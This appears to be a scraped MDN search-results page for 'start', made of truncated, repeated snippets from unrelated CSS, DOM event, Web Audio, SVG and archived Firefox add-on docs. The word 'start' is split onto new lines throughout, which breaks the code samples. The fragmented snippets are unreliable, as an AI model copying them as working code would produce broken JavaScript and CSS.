start event of the web speech api speechrecognition object is fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. ...
...ncoming audio with intent to recognize grammars associated with the current speechrecognition. bubbles no cancelable no interface event event handler property on
start examples you can use the
start event in an addeventlistener method: var recognition = new webkitspeechrecognition() || new speechrecognition(); recognition.addeventlistener('
start', function() { console.log('speech recognition service has
started'); }); or use the on
start event handler property: recognition.on
start = function() { console.log('speech recognition service has
started'); } specifications specification status comment web speech apithe definition of 'speech recognition events' in that specification. draft ...
XRSession.onsqueezestart - Web APIs
the xrsession interface's onsqueeze
start event handler property can be set to a function which is then invoked to handle the squeeze
start event that's sent when the user successfully begins a primary squeeze action on a webxr input device. these actions represent the user squeezing or tightly gripping an object or controller. to learn more about how to use and handle webxr controller inputs, see inputs and input sources. syntax xrsession.onsqueeze
start = squeeze
starthandlerfunction; value a function to be invoked whenever the xrsession receives a squeeze
start event. ...
...ctions represent the user squeezing or tightly gripping an object or controller. to learn more about how to use and handle webxr controller inputs, see inputs and input sources. syntax xrsession.onsqueeze
start = squeeze
starthandlerfunction; value a function to be invoked whenever the xrsession receives a squeeze
start event. examples this snippet of code adds a simple handler for the squeeze
start event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at. ...
... examples this snippet of code adds a simple handler for the squeeze
start event, which responds only to events on the user's dominant hand by getting the target ray, then calling a function findobjectusingray() to identify the object that the user is pointing at. this object is then stored in a heldobject variable in the user object we're using to represent user information. ...
... working draft initial definition. ...
border-block-start-color - CSS: Cascading Style Sheets
the border-block-
start-color css property defines the color of the logical block-
start border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top-color, border-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...der-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax border-block-
start-color: blue; border-block-
start-color: #4c5d21; related properties are border-block-end-color, border-inline-
start-color, and border-inline-end-color, which define the other border colors of the element. values <'color'> see border-color formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal syntax <'border-...
... editor's draft initial definition ...
... editor's draft initial definition ...
border-block-start-style - CSS: Cascading Style Sheets
the border-block-
start-style css property defines the style of the logical block
start border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top-style, border-right-style, border-bottom-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-style'> values */ border-block-
start-style: dashed; border-block-
start-style: dotted; border-block-
start-style: groove; related properties are border-block-end-style, border-inline-
start-style, and border-inline-end-style, which define the other border styles of the element. values <'border-style'> the line style of the border. see border-style. formal definition initial valuenoneapplies toall elementsinheritednocomputed v...
... editor's draft initial definition ...
... editor's draft initial definition ...
border-block-start-width - CSS: Cascading Style Sheets
the border-block-
start-width css property defines the width of the logical block-
start border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top-width, border-right-width, border-bottom-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-width'> values */ border-block-
start-width: 5px; border-block-
start-width: thick; related properties are border-block-end-width, border-inline-
start-width, and border-inline-end-width, which define the other border widths of the element. initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcomputed valueabsolute length; 0 if the border style is none or hiddenanimation typea length value...
... editor's draft initial definition ...
... editor's draft initial definition ...
border-end-start-radius - CSS: Cascading Style Sheets
the border-end-
start-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and text-orientation. this is useful when building styles to work regardless of the text orientation and writing mode. /* <length> values */ /* with one value the corner will be a circle */ border-end-
start-radius: 10px; border-end-
start-radius: 1em; /* with two values the corner will be an ellipse */ border-end-
start-radius: 1em 2em; /* global values */ border-end-
start-radius: inherit; border-end-
start-radius: initial; border-end-
start-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-top-right-radius property. syntax values <length-percentage> denotes th...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
border-inline-start-color - CSS: Cascading Style Sheets
the border-inline-
start-color css property defines the color of the logical inline
start border of an element, which maps to a physical border color depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top-color, border-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...er-right-color, border-bottom-color, or border-left-color property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax border-inline-
start-color: red; border-inline-
start-color: #ee4141; related properties are border-block-
start-color, border-block-end-color, and border-inline-end-color, which define the other border colors of the element. values <'color'> the color of the border. see color. formal definition initial valuecurrentcolorapplies toall elementsinheritednocomputed valuecomputed coloranimation typea color formal...
... editor's draft initial definition ...
... editor's draft initial definition ...
border-inline-start-width - CSS: Cascading Style Sheets
the border-inline-
start-width css property defines the width of the logical inline-
start border of an element, which maps to a physical border width depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top-width, border-right-width, border-bottom-width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...width, or border-left-width property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-width'> values */ border-inline-
start-width: 5px; border-inline-
start-width: thick; related properties are border-block-
start-width, border-block-end-width, and border-inline-end-width, which define the other border widths of the element. values <'border-width'> the width of the border. see border-width. formal definition initial valuemediumapplies toall elementsinheritednopercentageslogical-width of containing blockcompute...
... editor's draft initial definition ...
... editor's draft initial definition ...
border-start-end-radius - CSS: Cascading Style Sheets
the border-
start-end-radius css property defines a logical border radius on an element, which maps to a physical border radius depending on the element's writing-mode, direction, and text-orientation. this is useful when building styles to work regardless of the text orientation and writing mode. /* <length> values */ /* with one value the corner will be a circle */ border-
start-end-radius: 10px; border-
start-end-radius: 1em; /* with two values the corner will be an ellipse */ border-
start-end-radius: 1em 2em; /* global values */ border-
start-end-radius: inherit; border-
start-end-radius: initial; border-
start-end-radius: unset; for instance, in a horizontal-tb writing mode this property corresponds to the border-bottom-left-radius property. syntax values <length-percentage> denotes ...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
inset-block-start - CSS: Cascading Style Sheets
the inset-block-
start css property defines the logical block
start offset of an element, which maps to a physical inset depending on the element's writing mode, directionality, and text orientation. it corresponds to the top, right, bottom, or left property depending on the values defined for writing-mode, direction, and text-orientation. /* <length> values */ inset-block-
start: 3px; inset-block-
start: 2.4em; /* <percentage>s of the width or height of the containing block */ inset-block-
start: 10%; /* keyword value */ inset-block-
start: auto; /* global values */ inset-block-
start: inherit; inset-block-
start: initial; inset-block-
start: unset; syntax values the inset-block-
start property takes the same values as the left property. formal definition initial valueautoapplies toposition...
...s the inset-block-
start property takes the same values as the left property. ...
... editor's draft initial definition ...
... editor's draft initial definition ...
touchstart - Event reference
the touch
start event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this event. ...
... the touch
start event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this event. ...
... the touch
start event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this event. ...
... the touch
start event is fired when one or more touch points are placed on the touch surface. two types of object can be the target of this event. ...
restart - SVG: Scalable Vector Graphics
the re
start attribute specifies whether or not an animation can re
start. ...
...bute: <animate>, <animatecolor>, <animatemotion>, <animatetransform>, and <set> html, body, svg { height: 100%; } a { fill: blue; text-decoration: underline; cursor: pointer; } <svg viewbox="0 0 220 200" xmlns="http://www.w3.org/2000/svg"> <rect y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" re
start="always" /> </rect> <rect x="120" y="30" width="100" height="100"> <animate attributetype="xml" attributename="y" from="30" to="100" dur="5s" repeatcount="1" re
start="whennotactive"/> </rect> <a id="re
start"><text y="20">re
start animation</text></a> </svg> document.getelementbyid("re
start").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(elem...
...20">re
start animation</text></a> </svg> document.getelementbyid("re
start").addeventlistener("click", evt => { document.queryselectorall("animate").foreach(element => { element.beginelement(); }); }); usage notes value always | whennotactive | never default value always animatable no always this value indicates that the animation can be re
started at any time. whennotactive this value indicates that the animation can only be re
started when it is not active (i.e. after the active end). attempts to re
start the animation during its active duration are ignored. never this value indicates that the animation cannot be re
started for the time the document is loaded. specifications specification status comment ...
...dicates that the animation can only be re
started when it is not active (i.e. after the active end). attempts to re
start the animation during its active duration are ignored. never this value indicates that the animation cannot be re
started for the time the document is loaded. specifications specification status comment svg animations level 2the definition of 're
start' in that specification. editor's draft no change scalable vector graphics (svg) 1.1 (second edition)the definition of 're
start' in that specification. recommendation initial definition ...
startOffset - SVG: Scalable Vector Graphics
the
startoffset attribute defines an offset from the
start of the path for the initial current text position along the path after converting the path to the <textpath> element's coordinate system. only one element is using this attribute: <textpath> html,body,svg { height:100% } <svg viewbox="0 0 220 100" xmlns="http://www.w3.org/2000/svg"> <path id="path1" fill="none" stroke="red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1"
startoffset="0"> quick brown fox jumps over the lazy dog. ...
...red" d="m10,90 q90,90 90,45 q90,10 50,10 q10,10 10,40 q10,70 45,70 q70,70 75,50" /> <path id="path2" fill="none" stroke="red" d="m130,90 q210,90 210,45 q210,10 170,10 q130,10 130,40 q130,70 165,70 q190,70 195,50" /> <text> <textpath href="#path1"
startoffset="0"> quick brown fox jumps over the lazy dog. </textpath> </text> <text> <textpath href="#path2"
startoffset="40"> quick brown fox jumps over the lazy dog. </textpath> </text> </svg> usage notes value <length-percentage> | <number> default value 0 animatable yes <length-percentage> a length represents a distance along the path measured in the current user coordinate system for the <textpath> element. if a percentage is given, then ...
...et="40"> quick brown fox jumps over the lazy dog. </textpath> </text> </svg> usage notes value <length-percentage> | <number> default value 0 animatable yes <length-percentage> a length represents a distance along the path measured in the current user coordinate system for the <textpath> element. if a percentage is given, then the
start offset represents a percentage distance along the entire path. thus, 0% indicates the
start point of the path and 100% indicates the end point of the path. <number> this value indicates a distance along the path measured in the current user coordinate system for the <textpath> element. note: negative values and values larger than the path length (e.g. 150%) are allowed. specifications ...
...ath and 100% indicates the end point of the path. <number> this value indicates a distance along the path measured in the current user coordinate system for the <textpath> element. note: negative values and values larger than the path length (e.g. 150%) are allowed. specifications specification status comment scalable vector graphics (svg) 2the definition of '
startoffset' in that specification. candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of '
startoffset' in that specification. recommendation initial definition ...
Getting started (cfx) - Archive of obsolete content
once you've done that, you'll be looking at a command prompt. initializing an empty add-on in the command prompt, create a new directory. ...
...elves, of course, it isn't. in this case it's assumed that you have checked out the sdk from its github repo and will have run the bin/activate script from the root of your checkout. then when you invoke cfx run or cfx xpi, you pass the "-o" option: cfx run -o this instructs cfx to use the local copies of the sdk modules, not the ones in firefox. ...
...n firefox. developing without cfx run because cfx run re
starts the browser each time you invoke it, it can be a little cumbersome if you are making frequent changes to an add-on. an alternative development model is to use the extension auto-installer add-on: this listens for new xpi files on a specified port and installs them automatically. that way you can test new changes without needing to re
start the browser: make a change to your add-on run cfx xpi post the add-on to the port specified you could even automate this workflow with a simple script. for example: while true ; do cfx xpi ; wget --post-file=codesy.xpi http://localhost:8888/ ; sleep 5 ; done note that the logging level defined for the console is different when you use this method, compared to the logging level used when...
Getting Started with Firefox Extensions - Archive of obsolete content
web application interaction (delicious bookmarks, ebay companion) and web development (dom inspector, firebug). these are very advanced and complex extensions, and you'll learn most of what it takes to create extensions like these. extensions now exist in 3 different forms: add-ons sdk extensions (also known as jetpacks), bootstrapped extensions and traditional extensions. if you're only getting
started developing add-ons, the add-ons sdk provides a great way to quickly create simple ones and build on them. this tutorial focuses on traditional extensions, which are created differently. bootstrapped extensions are a step above traditional ones in complexity, so you should go through this tutorial before giving them a try. we'll begin the tutorial by analyzing a very simple extension. the hell...
...a step above traditional ones in complexity, so you should go through this tutorial before giving them a try. we'll begin the tutorial by analyzing a very simple extension. the hello world extension our sample extensions and this tutorial in general are meant for modern versions of firefox, but most of it works on older versions too. we'll now begin with a basic "hello world" extension. let's
start by installing it. click on the link below. note: this extension is unsigned.
starting with firefox 43, extensions need to be signed by mozilla before they can be installed in firefox. unsigned add-ons can still be installed in developer edition, nightly, and esr versions of firefox, after toggling the xpinstall.signatures.required preference in about:config. install hello world click the above...
...l be installed in developer edition, nightly, and esr versions of firefox, after toggling the xpinstall.signatures.required preference in about:config. install hello world click the above link and then click "allow" in the pop-up bubble. you should see another pop-up telling you that you are installing an unverified add-on. click "install". after the extension is installed, you'll be asked to re
start firefox. installing, uninstalling, enabling and disabling add-ons require a re
start to complete, with the exception of npapi plugins, add-ons sdk extensions and bootstrapped extensions. this is an important point to keep in mind if you're building an extension that manipulates other extensions or themes. after installing, look at the main firefox window and see if you notice anything different. ...
Getting started with the Web - Learn web development
getting
started with the web is a concise series introducing you to the practicalities of web development. you'll set up the tools you need to construct a simple webpage and publish your own simple code. the story of your first website it's a lot of work to create a professional website, so if you're new to web development, we encourage you to
start small. you won't build another facebook right away, but it's not hard to get your own simple website online, so we'll
start there. by working through the articles listed below in order, you will go from nothing to getting your first webpage online. let's begin our journey! installing basic software when it comes to tools for building a website, there's a lot to pick from. if you're just
starting out, you might be confused by the array of cod...
...what information are you showcasing? what fonts and colors are you using? what will your website look like? we outline a simple method you can follow to plan out your site's content and design. ...
...rwhelming you, html basics provides enough information to make you familiar with html. css basics cascading stylesheets (css) is the code that you use to style your website. for example, do you want the text to be black or red? where should content be drawn on the screen? what background images and colors should be used to decorate your website? css basics takes you through what you need to get
started. javascript basics javascript is the programming language that you use to add interactive features to your website. some examples could be games, things that happen when buttons are pressed or data is entered in forms, dynamic styling effects, animation, and much more. javascript basics gives you an idea of what is possible with this exciting language, and how to get
started. publishing your...
mozbrowserloadstart
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserload
start event is fired when the browser <iframe>
starts to load a new page. this can be used when the embedder wants to
start spinning a loading indicator, or update the ui in some other way to indicate loading has
started. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the event target (the ...
... target read only eventtarget the event target (the topmost target in the dom tree). type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. ...
...vent normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. example in this example the mozbrowserloadend and mozbrowserload
start events are used to change the icon shown on the stop/reload button between stop (x) and reload (r), as appropriate. ...
Getting Started With NSS
kills. you can find us on mozilla irc in channel #nss or you could ask your questions on the mozilla.dev.tech.crypto newsgroup. the nss library and its supporting command line tools are written in the c programming language. its build system and the automated tests are based on makefiles and bash scripts. over time, many documents have been produced that describe various aspects of nss. you can
start with: the current primary nss documentation page from which we link to other documentation. a general overview of the applications that use nss and the features it provides. a high level introduction to the internals of nss. learn about getting the nss sources, building, and testing. old documentation that is on the archived mozilla.org website. (unfortunately the nss project doesn't hav...
...introduction to the internals of nss. learn about getting the nss sources, building, and testing. old documentation that is on the archived mozilla.org website. (unfortunately the nss project doesn't have a technical writer at this time, so our documentation is not as organized as we would like it to be. you could contribute by organizing it in a better way.) nss sample code a good place to
start learning how to write nss applications are the command line tools that are maintained by the nss developers. you can find them in subdirectory mozilla/security/nss/cmd or have a look at some basic nss sample code. a new set of samples is currently under development and review, see create new nss samples. you are welcome to download the samples via: hg clone https://hg.mozilla.org/projects/nss;...
...la/security/nss/cmd or have a look at some basic nss sample code. a new set of samples is currently under development and review, see create new nss samples. you are welcome to download the samples via: hg clone https://hg.mozilla.org/projects/nss; cd nss; hg update samples_branch how to contribute ... (this section is still under construction, but there are many contribution opportunities)
start by opening a bugzilla account at bugzilla.mozilla.org if you don't have one. nss :: libraries component for issues you'd like to work on. we maintain a list of nss bugs marked with a keyword "good-first-bug" that you can view. creating your patch seee our section on nss sources, building, and testing to get
started making your patch. when you're satisfied with it, you'll need code review. co...
Getting Started Guide
introduction what is nscomptr? nscomptr is a tool to help prevent leaks. nscomptr is a "smart pointer". it is a template class that acts, syntactically, just like an ordinary pointer in c or c++, i.e., you can apply * or -> to it to "get to" what it points at. ...
...its claim. not all references need to be owning references. in fact, if two objects somehow end up owning each other (even transitively) it becomes difficult for either of those object to be reclaimed without adding some `out-of-band' mechanism for breaking the ownership cycle. the document some com ownership guidelines provides some hints on when ownership is needed. the following lists are good
starting point, but by no means complete. you use an owning reference when you created the object; you got the object from a function that might have created it, e.g., any `getter' function, such as queryinterface, or createinstance. all good getters addref the interface pointers they produce, thus providing you with an owning reference; you will hold onto the reference longer than the scope of t...
...face pointer parameter. you have to `annotate' the nscomptr with the getter_addrefs directive. comparison 4. differences: apply getter_addrefs when using an nscomptr as a `out parameter'. // raw xpcom interface pointers... nsifoo* foo; getfoo(&foo); // |nscomptr|s... nscomptr<nsifoo> foo; getfoo(getter_addrefs(foo)); that's it. you now know enough to
start using nscomptrs. there are a few other details you will want to know as you use nscomptr in more complicated situations, but what you've just learned will cover 90% of your uses. a few details there are a couple more things that will help you get the most out of nscomptr. very often, you first get an interface pointer by calling queryinterface. queryinterface is a getter like any other, and yo...
AudioScheduledSourceNode.start() - Web APIs
the
start() method on audioscheduledsourcenode schedules a sound to begin playback at the specified time. if no time is specified, then the sound begins playing immediately. syntax audioscheduledsourcenode.
start([when [, offset [, duration]]]); parameters when optional the time, in seconds, at which the sound should begin to play. this value is specified in the same time coordinate system as the audiocontext is using for its currenttime attribute. a value of 0 (or omitting the when parameter entirely) causes the sound to
start playback immediately. offset optional a floating-point number indicating the offset, in seconds, into the audio buffer where playback should begin. if 0 is passed then the playback will
start from the beginning. duration optional a floating-point number indic...
...he audio buffer where playback should begin. if 0 is passed then the playback will
start from the beginning. duration optional a floating-point number indicating the duration, in seconds, to be played. if no value is passed then the duration will be equal to the length of the audio buffer minus the offset value return value undefined exceptions invalidstatenode the node has already been
started. this error occurs even if the node is no longer running because of a prior call to stop(). rangeerror the value specified for when is negative. example this example demonstrates how to create an oscillatornode which is scheduled to
start playing in 2 seconds and stop playing 1 second after that. the times are calculated by adding the desired number of seconds to the context's current time...
...this example demonstrates how to create an oscillatornode which is scheduled to
start playing in 2 seconds and stop playing 1 second after that. the times are calculated by adding the desired number of seconds to the context's current time stamp returned by audiocontext.currenttime. context = new audiocontext(); osc = context.createoscillator(); osc.connect(context.destination); /* schedule the
start and stop times for the oscillator */ osc.
start(context.currenttime + 2); osc.stop(context.currenttime + 3); specifications specification status comment web audio apithe definition of '
start()' in that specification. working draft ...
Element: compositionstart event - Web APIs
the composition
start event is fired when a text composition system such as an input method editor
starts a new composition session. for example, this event could be fired after a user
starts entering a chinese character using a pinyin ime. ...
...tarts a new composition session. for example, this event could be fired after a user
starts entering a chinese character using a pinyin ime. ...
... inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('composition
start', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
FileReader: loadstart event - Web APIs
the load
start event is fired when a file read operation has begun. ...
... the load
start event is fired when a file read operation has begun. ...
...lector('img.preview'); const eventlog = document.queryselector('.event-log-contents'); const reader = new filereader(); function handleevent(event) { eventlog.textcontent = eventlog.textcontent + `${event.type}: ${event.loaded} bytes transferred\n`; if (event.type === "load") { preview.src = reader.result; } } function addlisteners(reader) { reader.addeventlistener('load
start', handleevent); reader.addeventlistener('load', handleevent); reader.addeventlistener('loadend', handleevent); reader.addeventlistener('progress', handleevent); reader.addeventlistener('error', handleevent); reader.addeventlistener('abort', handleevent); } function handleselected(e) { eventlog.textcontent = ''; const selectedfile = fileinput.files[0]; if (selected...
GlobalEventHandlers.onloadstart - Web APIs
the onload
start property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the load
start event is raised (when progress has begun on the loading of a resource.) syntax img.onload
start = funcref; value funcref is the handler function to be called when the resource's load
start event fires. ...
...t property of the globaleventhandlers mixin is an eventhandler representing the code to be called when the load
start event is raised (when progress has begun on the loading of a resource.) syntax img.onload
start = funcref; value funcref is the handler function to be called when the resource's load
start event fires. ...
...on the loading of a resource.) syntax img.onload
start = funcref; value funcref is the handler function to be called when the resource's load
start event fires. examples html content <img src="myimage.jpg"> javascript content // 'load
start' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('load
start', function(e) { console.log('image load
started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment html living standardthe definition of 'onload
start' in that specification. living standard initial definition ...
startSoftwareUpdate - Web APIs
this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. ...
...this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. ...
...this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi. ...
Range.startOffset - Web APIs
the range.
startoffset read-only property returns a number representing where in the
startcontainer the range
starts. if the
startcontainer is a node of type text, comment, or cdatasection, then the offset is the number of characters from the
start of the
startcontainer to the boundary point of the range. for other node types, the
startoffset is the number of child nodes between the
start of the
startcontainer and the boundary point of the range. to change the
startoffset of a range, use the range.set
start method. ...
...container is a node of type text, comment, or cdatasection, then the offset is the number of characters from the
start of the
startcontainer to the boundary point of the range. for other node types, the
startoffset is the number of child nodes between the
start of the
startcontainer and the boundary point of the range. to change the
startoffset of a range, use the range.set
start method. syntax
startrangeoffset = range.
startoffset; example var range = document.createrange(); range.set
start(
startnode,
startoffset); range.setend(endnode,endoffset); var
startrangeoffset = range.
startoffset; specifications specification status comment domthe definition of 'range.
startoffset' in that specification. living standard no change. document object model (dom) l...
...createrange(); range.set
start(
startnode,
startoffset); range.setend(endnode,endoffset); var
startrangeoffset = range.
startoffset; specifications specification status comment domthe definition of 'range.
startoffset' in that specification. living standard no change. document object model (dom) level 2 traversal and range specificationthe definition of 'range.
startoffset' in that specification. obsolete initial specification. ...
Sensor.start() - Web APIs
candidate recommendation initial definition. ...
... candidate recommendation initial definition. ...
... candidate recommendation initial definition. ...
SpeechSynthesisUtterance.onstart - Web APIs
}; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
...}; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ... ...
...voices(); ... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.on
start = function(event) { console.log('we have
started uttering this speech: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'on
start' in that specification. draft ...
Window.mozAnimationStartTime - Web APIs
obsolete since gecko 42 (firefox 42 / thunderbird 42 / seamonkey 2.39)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the time, in milliseconds since the epoch, at which animations
started now should be considered to have
started. ...
....39)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns the time, in milliseconds since the epoch, at which animations
started now should be considered to have
started. this value should be used instead of, for example, date.now(), because this value will be the same for all animations
started in this window during this refresh interval, allowing them to remain in sync with one another. ...
... should be used instead of, for example, date.now(), because this value will be the same for all animations
started in this window during this refresh interval, allowing them to remain in sync with one another. this also allows javascript-based animations to remain synchronized with css transitions and smil animations triggered during the same refresh interval. syntax time = window.mozanimation
starttime; parameters time is the time in milliseconds since the epoch at which animations for the current window should be considered to have
started. ...
Window: transitionstart event - Web APIs
the transition
start event is fired when a css transition has actually
started, i.e., after any transition-delay has ended. bubbles yes cancelable no interface transitionevent event handler property globaleventhandlers.ontransition
start the original target for this event is the element that had the transition applied. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: transition
start. ...
... event handler property globaleventhandlers.ontransition
start the original target for this event is the element that had the transition applied. you can listen for this event on the window interface to handle it in the capture or bubbling phases. for full details on this event please see the page on htmlelement: transition
start. examples this code adds a listener to the transition
start event: window.addeventlistener('transition
start', () => { console.log('
started transitioning'); }); the same, but using the ontransition
start property instead of addeventlistener(): window.ontransitionrun = () => { console.log('
started transitioning'); }; see a live example of this event. specifications specification status comment css transitionsthe definiti...
...ddeventlistener('transition
start', () => { console.log('
started transitioning'); }); the same, but using the ontransition
start property instead of addeventlistener(): window.ontransitionrun = () => { console.log('
started transitioning'); }; see a live example of this event. specifications specification status comment css transitionsthe definition of 'transition
start' in that specification. working draft initial definition. ...
border-inline-start-style - CSS: Cascading Style Sheets
the border-inline-
start-style css property defines the style of the logical inline
start border of an element, which maps to a physical border style depending on the element's writing mode, directionality, and text orientation. it corresponds to the border-top-style, border-right-style, border-bottom-style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...style, or border-left-style property depending on the values defined for writing-mode, direction, and text-orientation. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <'border-style'> values */ border-inline-
start-style: dashed; border-inline-
start-style: dotted; border-inline-
start-style: groove; related properties are border-block-
start-style, border-block-end-style, and border-inline-end-style, which define the other border styles of the element. initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete values <'border-style'> the line style of the border...
...-style. formal definition initial valuenoneapplies toall elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <'border-top-style'> examples html <div> <p class="exampletext">example text</p> </div> css div { background-color: yellow; width: 120px; height: 120px; } .exampletext { writing-mode: vertical-lr; border: 5px solid blue; border-inline-
start-style: dashed; } specifications specification status comment css logical properties and values level 1the definition of 'border-inline-
start-style' in that specification. editor's draft initial definition ...
scroll-margin-block-start - CSS: Cascading Style Sheets
the scroll-margin-block-
start property defines the margin of the scroll snap area at the
start of the block dimension that is used for snapping this box to the snapport. the scroll snap area is determined by taking the transformed border box, finding its rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...rectangular bounding box (axis-aligned in the scroll container’s coordinate space), then adding the specified outsets. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <length> values */ scroll-margin-block-
start: 10px; scroll-margin-block-
start: 1em; /* global values */ scroll-margin-block-
start: inherit; scroll-margin-block-
start: initial; scroll-margin-block-
start: unset; values <length> an outset from the block
start edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <len...
...lock-
start: unset; values <length> an outset from the block
start edge of the scroll container. formal definition initial value0applies toall elementsinheritednocomputed valueas specifiedanimation typeby computed value type formal syntax <length> specifications specification status comment css scroll snap module level 1the definition of 'scroll-margin-block-
start' in that specification. candidate recommendation initial definition ...
scroll-padding-block-start - CSS: Cascading Style Sheets
the scroll-padding-block-
start property defines offsets for the
start edge in the block dimension of the optimal viewing region of the scrollport: the region used as the target region for placing things in view of the user. this allows the author to exclude regions of the scrollport that are obscured by other content (such as fixed-positioned toolbars or sidebars) or simply to put more breathing room between a targetted element and the edges of the scrollport. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
